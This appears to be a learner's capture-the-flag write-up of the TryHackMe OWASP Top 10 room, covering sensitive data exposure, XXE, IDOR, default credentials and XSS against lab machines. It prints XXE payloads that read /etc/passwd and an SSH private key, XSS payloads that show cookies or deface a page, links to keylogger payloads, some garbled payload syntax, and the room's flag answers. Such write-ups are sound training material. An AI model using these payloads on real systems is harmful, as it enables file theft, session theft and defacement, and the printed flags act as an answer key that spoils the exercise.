TryHackMe : OWASP Top 10 [Part 2]

Room: OWASP Top 10

“Today we will be looking at OWASP Top 10 from TryHackMe. Learn about and exploit each of the OWASP Top 10 vulnerabilities; the 10 most critical web security risks. ”

I plan to finish this part in 3 days. So I’ll present it to you in the form of 3 parts. I think we’ll learn better this way.

Today is the second day.

I’ll just do the practical parts, skip the other technical information. You can enter the room and read the technical parts yourself.

Task 11 : [Severity 3] Sensitive Data Exposure (Challenge)

It’s now time to put what you’ve learnt into practice!
#1 Have a look around the webapp. The developer has left themselves a note indicating that there is sensitive data in a specific directory.

What is the name of the mentioned directory?

We have to go visit website.

We can see login.

We going to visit login page.

We have to see source code.

Success!

ans : /assets

#2 Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?

We have to visit directory “/assets”.

Success!

ans : webapp.db

#3 Use the supporting material to access the sensitive data. What is the password hash of the admin user?

We can see that there is an SQlite database in the current folder.

To access it we use: sqlite3 <database-name>:

From here we can see the tables in the database by using the .tables command:

At this point we can dump all of the data from the table, but we won’t necessarily know what each column means unless we look at the table information. First let’s use PRAGMA table_info(customers); to see the table information, then we'll use SELECT * FROM customers; to dump the information from the table:

We found hash.

ans : 6eea9b7ef19179a06954edd0f6c05ceb

#4 Crack the hash.
What is the admin’s plaintext password?

We have to visit crackstation.

We see that the hash was successfully broken, and that the user’s password was “password” — how secure!

It’s worth noting that Crackstation works using a massive wordlist. If the password is not in the wordlist then Crackstation will not be able to break the hash.

The challenge is guided, so if Crackstation fails to break a hash in today’s box you can assume that the hash has been specifically designed to not be crackable.

ans : qwertyuiop

#5 Login as the admin. What is the flag?

We can login with admin.

Success!

ans : THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}

Task 13 : [Severity 4 XML External Entity — eXtensible Markup Language

#1 Full form of XML

ans : Extensible Markup Language.

#2 Is it compulsory to have XML prolog in XML documents?

ans : no

#3 Can we validate XML documents against a schema?

ans : yes

#4 How can we specify XML version and encoding in XML document?

ans : XML Prolog

Task 14 : [Severity 4] XML External Entity — DTD

Before we move on to start learning about XXE we’ll have to understand what is DTD in XML.

So now let’s understand how that DTD validates the XML. Here’s what all those terms used in note.dtd mean

!DOCTYPE note — Defines a root element of the document named note
!ELEMENT note — Defines that the note element must contain the elements: “to, from, heading, body”
!ELEMENT to — Defines the to element to be of type “#PCDATA”
!ELEMENT from — Defines the from element to be of type “#PCDATA”
!ELEMENT heading — Defines the heading element to be of type “#PCDATA”
!ELEMENT body — Defines the body element to be of type “#PCDATA”

NOTE: #PCDATA means parseable character data.

#1 How do you define a new ELEMENT?

ans : !ELEMENT

#2 How do you define a ROOT element?

ans : !DOCTYPE

#3 How do you define a new ENTITY?

ans : !ENTITY

Task 15 [Severity 4] XML External Entity — XXE Payload

1) The first payload we’ll see is very simple. If you’ve read the previous task properly then you’ll understand this payload very easily.

<!DOCTYPE replace [<!ENTITY name “feast”> ]>
<userInfo>
<firstName>falcon</firstName>
<lastName>&name;</lastName>
</userInfo>

As we can see we are defining a ENTITY called name and assigning it a value feast. Later we are using that ENTITY in our code.

2) We can also use XXE to read some file from the system by defining an ENTITY and having it use the SYSTEM keyword

<?xml version=”1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM ‘file:////cat /etc/passwd>]>
<root>&read;</root>

Here again, we are defining an ENTITY with the name read but the difference is that we are setting it value to `SYSTEM` and path of the file.

If we use this payload then a website vulnerable to XXE(normally) would display the content of the file /etc/passwd.

In a similar manner, we can use this kind of payload to read other files but a lot of times you can fail to read files in this manner or the reason for failure could be the file you are trying to read.

Task 16 : [Severity 4] XML External Entity — Exploiting

#3 What is the name of the user in /etc/passwd

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>

ans : falcon

#4 Where is falcon’s SSH key located?

We can research how do you find ssh key located.

We find it.

ans : /home/falcon/.ssh/id_rsa

#5 What are the first 18 characters for falcon’s private key

<?xml version=”1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM ‘file:////home/falcon/.ssh/id_rsa>]>
<root>&read;</root>

ans : MIIEogIBAAKCAQEA7b

Task 18 : [Severity 5] Broken Access Control (IDOR Challenge)

IDOR, or Insecure Direct Object Reference, is the act of exploiting a misconfiguration in the way user input is handled, to access resources you wouldn’t ordinarily be able to access. IDOR is a type of access control vulnerability.

For example, let’s say we’re logging into our bank account, and after correctly authenticating ourselves, we get taken to a URL like this https://example.com/bank?account_number=1234. On that page we can see all our important bank details, and a user would do whatever they needed to do and move along their way thinking nothing is wrong.

There is however a potentially huge problem here, a hacker may be able to change the account_number parameter to something else like 1235, and if the site is incorrectly configured, then he would have access to someone else’s bank information.

#1 Read and understand how IDOR works.

#2 Deploy the machine and go to http://10.10.220.97 — Login with the username being noot and the password test1234.

I tried the numbers after note=1 in order, but it didn’t happen. (1,2,3,5) But it happened when I tried zero.

ans : flag{fivefourthree}

Task 19 : [Severity 6] Security Misconfiguration

Security Misconfiguration

Security Misconfigurations are distinct from the other Top 10 vulnerabilities, because they occur when security could have been configured properly but was not.

Security misconfigurations include:

Poorly configured permissions on cloud services, like S3 buckets
Having unnecessary features enabled, like services, pages, accounts or privileges
Default accounts with unchanged passwords
Error messages that are overly detailed and allow an attacker to find out more about the system
Not using HTTP security headers, or revealing too much detail in the Server: HTTP header

This vulnerability can often lead to more vulnerabilities, such as default credentials giving you access to sensitive data, XXE or command injection on admin pages.

For more info, I recommend having a look at the OWASP top 10 entry for Security Misconfiguration
Default Passwords

Specifically, this VM focusses on default passwords. These are a specific example of a security misconfiguration. You could, and should, change any default passwords but people often don’t.

It’s particularly common in embedded and Internet of Things devices, and much of the time the owners don’t change these passwords.

It’s easy to imagine the risk of default credentials from an attacker’s point of view. Being able to gain access to admin dashboards, services designed for system administrators or manufacturers, or even network infrastructure could be incredibly useful in attacking a business. From data exposure to easy RCE, the effects of default credentials can be severe.

In October 2016, Dyn (a DNS provider) was taken offline by one of the most memorable DDoS attacks of the past 10 years. The flood of traffic came mostly from Internet of Things and networking devices like routers and modems, infected by the Mirai malware.

How did the malware take over the systems? Default passwords. The malware had a list of 63 username/password pairs, and attempted to log in to exposed telnet services.

The DDoS attack was notable because it took many large websites and services offline. Amazon, Twitter, Netflix, GitHub, Xbox Live, PlayStation Network, and many more services went offline for several hours in 3 waves of DDoS attacks on Dyn.

Practical example :This VM showcases a Security Misconfiguration, as part of the OWASP Top 10 Vulnerabilities list.

Deploy the VM, and hack in by exploiting the Security Misconfiguration!
#1 Deploy the VM

#2 Hack into the webapp, and find the flag!

We can research what is default login and password for pensive notes.

We find it.

ans : thm{4b9513968fd564a87b28aa1f9d672e17}

Task 20 : [Severity 7] Cross-site Scripting

XSS Explained
Cross-site scripting, also known as XSS is a security vulnerability typically found in web applications. It’s a type of injection which can allow an attacker to execute malicious scripts and have it execute on a victim’s machine.

A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS. There are three main types of cross-site scripting:

Stored XSS — the most dangerous type of XSS. This is where a malicious string originates from the website’s database. This often happens when a website allows user input that is not sanitised (remove the “bad parts” of a users input) when inserted into the database.
Reflected XSS — the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.
DOM-Based XSS — DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content. A web page is a document and this document can be either displayed in the browser window or as the HTML source.

For more XSS explanations and exercises, check out the XSS room.

XSS Payloads

Remember, cross-site scripting is a vulnerability that can be exploited to execute malicious Javascript on a victim’s machine. Check out some common payloads types used:

• Popup’s (<script>alert(“Hello World”)</script>) — Creates a Hello World message popup on a users browser.
• Writing HTML (document.write) — Override the website’s HTML to add your own (essentially defacing the entire page).
• XSS Keylogger (http://www.xss-payloads.com/payloads/scripts/simplekeylogger.js.html) — You can log all keystrokes of a user, capturing their password and other sensitive information they type into the webpage.
• Port scanning (http://www.xss-payloads.com/payloads/scripts/portscanapi.js.html) — A mini local port scanner (more information on this is covered in the TryHackMe XSS room).

XSS-Payloads.com (http://www.xss-payloads.com/) is a website that has XSS related Payloads, Tools, Documentation and more. You can download XSS payloads that take snapshots from a webcam or even get a more capable port and network scanner.

XSS Challenge

The VM attached to this task showcases DOM-Based, Reflected and Stored XSS. Deploy the machine and exploit each type!
#1 Deploy the VM

#2 Go to http://10.10.193.134/reflected and craft a reflected XSS payload that will cause a popup saying “Hello”.

We can write script code.

<script>alert(“hello”)</script>

ans : ThereIsMoreToXSSThanYouThink

#3 On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.

<script>alert(window.location.hostname)</script>

ans : ReflectiveXss4TheWin

#4 Now navigate to http://10.10.193.134/stored and make an account.

Then add a comment and see if you can insert some of your own HTML.

<html><body><p>I am a emre</p></body></html>

Success!

ans : HTML_T4gs

#5 On the same page, create an alert popup box appear on the page with your document cookies.

<script>alert(document.cookie)</script>

ans : W3LL_D0N3_LVL2

#6 Change “XSS Playground” to “I am a hacker” by adding a comment and using Javascript.

<script>document.querySelector(‘#thm-title’).textContent = ‘I am a hacker’</script>

ans : websites_can_be_easily_defaced_with_xss

Sensitive Data Exposure, XML External Entity, Broken Access Control, Security Misconfiguration and Cross-site Scripting done.

I’ll doing Insecure Deserialization, Components With known Vulnerabilities, and Insufficient Logging and Monitoring tomorrow.

This box was really fun! I love the ones that have a story/theme that goes along with them.

Hope you guys enjoyed this tutorial, let me know if you try this out. Follow me for more projects like this!